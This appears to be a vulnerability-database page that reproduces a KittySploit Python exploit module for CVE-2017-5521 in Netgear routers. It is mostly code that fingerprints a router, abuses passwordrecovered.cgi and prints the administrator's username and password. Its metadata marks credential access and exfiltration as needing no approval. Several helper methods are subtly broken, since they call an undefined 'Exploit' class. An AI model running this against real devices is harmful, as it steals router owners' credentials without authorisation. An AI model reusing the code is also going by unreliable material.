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Netgear Multi Password Disclosure

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
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Password disclosure in Netgear devices retrieves administrator's password.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Netgear Multi Password Disclosure"""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client



class Module(Auxiliary, Http_client):
    __info__ = {
        'name': 'Netgear Multi Password Disclosure',
        'description': "Module exploits Password Disclosure vulnerability in multiple Netgear devices. If target is vulnerable administrator\\'s password is retrieved. This exploit only works if \\'password recovery\\' in router settings is OFF. If the exploit has already been run, then it might not work anymore until device reboot.",
        'author': ['Simon Kenin', '0BuRner'],
        'cve': ['CVE-2017-5521'],
        'platform': Platform.LINUX,
        'references': ['https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2017-003/?fid=8911', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/CVE-2017-5521--Bypassing-Authentication-on-NETGEAR-Routers/', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5521', 'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-5521', 'http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability'],
        'tags': ['iot', 'router', 'disclosure', 'credentials', 'unauth', 'cve-2017-5521', 'auxiliary'],
        'agent': {
            'risk': 'active',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['credentials', 'risk_signals'],
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def run(self):
        if self.check():
            print_success("Target is vulnerable")

            response = self.http_request(
                method="GET",
                path="/",
            )

            if response is not None:
                # Detect model
                model = response.headers.get('WWW-Authenticate')[13:-1]

                # Grab token if exists
                token = self.extract_token(response.text)
                if token is False:
                    token = "kittysploit"
                    print_status("Token not found")
                else:
                    print_status("Token found: {}".format(token))

                # Detect firmware version
                response = self.http_request(
                    method="GET",
                    path="/currentsetting.htm",
                )
                fw_version = ""
                if response is not None and response.status_code == 200:
                    fw_version = self.scrape(response.text, 'Firmware=', 'RegionTag').strip('\r\n')

                print_status("Detected model: {} (FW: {})".format(model, fw_version))

                # Exploit vulnerability
                path = "/passwordrecovered.cgi?id={}".format(token)
                response = self.http_request(
                    method="POST",
                    path=path
                )

                if response.text.find('left\">') != -1:
                    username, password = self.extract_password(response.text)
                    print_success('Exploit success! login: {}, password: {}'.format(username, password))
                else:
                    print_error("Exploit failed. Could not extract credentials. Reboot your device and try again.")
            else:
                print_error("Exploit failed. Could not extract credentials.")
        else:
            print_error("Target is not vulnerable")
    def scrape(text, start_trig, end_trig):
        if text.find(start_trig) != -1:
            return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]
        else:
            return False
    def extract_token(html):
        return Exploit.scrape(html, 'unauth.cgi?id=', '\"')
    def extract_password(html):
        username = (repr(Exploit.scrape(html, 'Router Admin Username</td>', '</td>')))
        username = Exploit.scrape(username, '>', '\'')
        password = (repr(Exploit.scrape(html, 'Router Admin Password</td>', '</td>')))
        password = Exploit.scrape(password, '>', '\'')
        if username is False:
            username = (Exploit.scrape(html[html.find('left\">'):-1], 'left\">', '</td>'))
            password = (Exploit.scrape(html[html.rfind('left\">'):-1], 'left\">', '</td>'))

        password = password.replace("&#35;", "#").replace("&#38;", "&")

        return username, password
    def check(self):
        response = self.http_request(
            method="GET",
            path="/"
        )

        if response is not None:
            header = response.headers.get('WWW-Authenticate')
            token = self.extract_token(response.text)
            return header is not None and 'NETGEAR' in header.upper() and token is not False  # target is vulnerable

        return False  # target is not vulnerable

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19 Aug 2026 05:37Current
8High risk
Vulners AI Score8
CVSS 24.3
CVSS 3.18.1
EPSS0.89245
SSVC
0